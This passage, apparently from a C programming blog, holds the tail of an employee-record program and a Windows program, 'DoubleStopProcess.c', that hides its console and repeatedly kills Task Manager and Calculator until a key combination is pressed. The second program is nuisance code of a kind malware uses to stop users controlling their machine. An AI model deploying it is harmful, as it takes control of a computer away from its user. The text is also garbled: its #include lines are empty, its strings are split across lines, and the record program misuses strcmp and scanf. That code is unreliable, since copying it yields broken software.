printf("Enter the first name,last name,age and basic salary : ");
scanf("%s %d %f",emp.fname,&emp.age,&emp.bsal);
printf("
Enter joining date,id,last education,subject taken");
scanf("%s %d %s %s",emp.join_date,&emp.id,emp.last_edu,
emp.sub_taken);
fwrite(&emp,recsize,1,fp);
printf("
Add another Record (Y/N): ");
fflush(stdin);
another=getchar();
}

break;
case '2':
another='Y';
while(another=='Y'|| another=='y')
{
printf("
Enter the id of the employee to be deleted : ");
scanf("%d",&id);
ft=fopen("TEMP.DAT","wb");
rewind(fp);
while(fread(&emp,recsize,1,fp)==1)
{
if(strcmp(emp.id,id)!=0)
fwrite(&emp,recsize,1,ft);
}
fclose(fp);
fclose(ft);
remove("EMP.DAT");
rename("TEMP.DAT","EMP.DAT");
fp=fopen("EMP.DAT","rb+");
printf("Delete another Record(Y/N): ");
fflush(stdin);
another=getchar();
}

break;
case '3':
another='Y';
while(another=='Y'|| another=='y')
{
printf("
Enter name of employee to modify : ");
scanf("%s",emp.fname);
rewind(fp);
while(fread(&emp,recsize,1,fp)==1)
{
if(strcmp(emp.id,id)==0)
{
printf("
Enter new fname,new lname,age,basic
salary,joining_date,subject taken and last education : ");

scanf("%s%s%d%f%s%s%s",emp.fname,emp.lname,&emp.age,&emp.bsal,emp.join_dat
e,emp.sub_taken,emp.last_edu);
fseek(fp,-recsize,SEEK_CUR);
fwrite(&emp,recsize,1,fp);
break;
}
}
printf("
Want to Modify another record(Y/N): ");
fflush(stdin);
another=getchar();
}

break;

case '4':

rewind(fp);
while(fread(&emp,recsize,1,fp)==1)
printf("
%s %s %d
%g",emp.fname,emp.lname,emp.age,emp.bsal,emp.join_date,emp.last_edu,emp.su
b_taken);
break;

case '5':
fclose(fp);
exit();

}
}
}

write a program to Stop double Process for start in C

2011-03-20T19:57:00.000-07:00

/**********************************/
//DoubleStopProcess.c
//Compiler Dev-C++ 4.9.9.2
/**********************************/
#include
#include
#include
#include

#define Progy "taskmgr.exe"
#define Master "calc.exe"

int func_termi(void);
int ID,XY,T3;

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int CmdShow)
{
char message[] = " This little progy is written
"
" by
"
" !!! Cedrik Jurak 2006 !!!
"
"Press TAB+SHIFT+RETURN to get Taskmanager back!";

char title[] = "INFORMATION";

HWND nShow;
nShow = FindWindow("ConsoleWindowClass","ConsoleWindowClass");
ShowWindow(nShow,SW_HIDE);
MessageBox(0,message,title,MB_OK | MB_ICONINFORMATION);

sleep(100);

func_termi();

}

int func_termi(void)
{
long code;
HANDLE Snap,Process;
PROCESSENTRY32 proc32;
BOOL ServiceName;

while(1)
{
sleep(100);
Snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(Snap==INVALID_HANDLE_VALUE)
{
MessageBox(0,"Sorry,no way!!!","Error",MB_OK | MB_ICONERROR);
exit(0);
}
proc32.dwSize=sizeof(PROCESSENTRY32);

if((GetAsyncKeyState(VK_TAB)==-32767)&&(GetAsyncKeyState(VK_SHIFT)==-32767
)&&(GetAsyncKeyState(VK_RETURN)==-32767))
{
MessageBox(0,"Okay is yours,right now!","Have a nice day
!!!",MB_OK | MB_ICONEXCLAMATION);
return EXIT_SUCCESS;
}
while((Process32Next(Snap,&proc32))==TRUE)
{
if(strcmp(proc32.szExeFile,Progy)==0){
ID=proc32.th32ProcessID;
Process=OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,ID);
XY=GetExitCodeProcess(Process,&code);
Process=OpenProcess(PROCESS_TERMINATE,FALSE,ID);
T3=TerminateProcess(Process,code);{MessageBoxA(0," Done!

Taskmgr.exe is stopped!!!","Info",MB_OK);}
}
else if(strcmp(proc32.szExeFile,Master)==0){
ID=proc32.th32ProcessID;
Process=OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,ID);
XY=GetExitCodeProcess(Process,&code);
Process=OpenProcess(PROCESS_TERMINATE,FALSE,ID);
T3=TerminateProcess(Process,code);{MessageBoxA(0," Done!
Calc.exe
is
stopped!!!","Info",MB_OK);}
}
}
}
}